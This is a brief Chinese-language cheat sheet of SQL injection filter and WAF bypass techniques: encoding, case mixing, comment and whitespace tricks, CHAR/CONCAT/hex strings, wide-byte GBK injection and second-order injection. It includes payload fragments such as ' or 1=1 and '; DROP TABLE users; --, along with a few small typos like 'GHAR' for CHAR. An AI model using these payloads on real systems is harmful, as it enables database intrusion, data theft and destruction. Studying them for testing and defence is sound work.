1.注释与空白符绕过
利用#,--,/**/替代被过滤的注释符
利用%09(Tab),%0A(换行) ,/**/代替空格:如union%0Aselect%0A1,2,3
2.编码绕过:
URL编码,双重编码,十六进制编码,Unicode编码,
3.大小写混淆:
sEleCT代替select,UnIon代替union
4.字符串拼接与函数
GHAR()函数:' or 1=1——> ' or char(49)=char(49) //CHAR(n),其中n是一个整数,表示ASCLL码值
CONCAT函数 :select ——> CONCAT('s','elect')
十六进制字符串:admin——> 0x61646D696E
5.内联注释(MYSQL特有):
MySQL 的内联注释通常以 /*
开始,以 */
结束。它可以在 SQL 语句的任何位置使用
6.绕过空格过滤
代替字符:%09(Tab),%0A(换行),%0C(换页)
括号绕过:union(select(1),2,3)
7.分块传输与参数污染
分块编码:将请求分块发送,绕过WAF检测
参数污染:提交多个同名函数(如?id=1&id=union select 1),应用程序可能取第一个,而WAF取第二个
8.动态执行与存储过程
EXEC命令(SQL Server):EXEC('select * from users')
prepare语句(MySql):
SET @sql = CONCAT('SEL','ECT 1');
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
9.宽字节注入(GBK编码)
在GBK编码中,以下字节序列可以被利用:
%df(0xDF),%bf(0xBF),%27(0x27,即单引号)
实例:假设过滤器只检查单个字节,过滤掉单引号 '
和反斜杠 \
。由于 0xBF
和 0x27
组合在一起是一个合法的多字节字符,过滤器可能无法检测到单引号 ',(单独的’不合法,与%bf组合在一起就合法了)
10,二次注入
第一次注入将恶意代码插入到数据库中,'; DROP TABLE users; --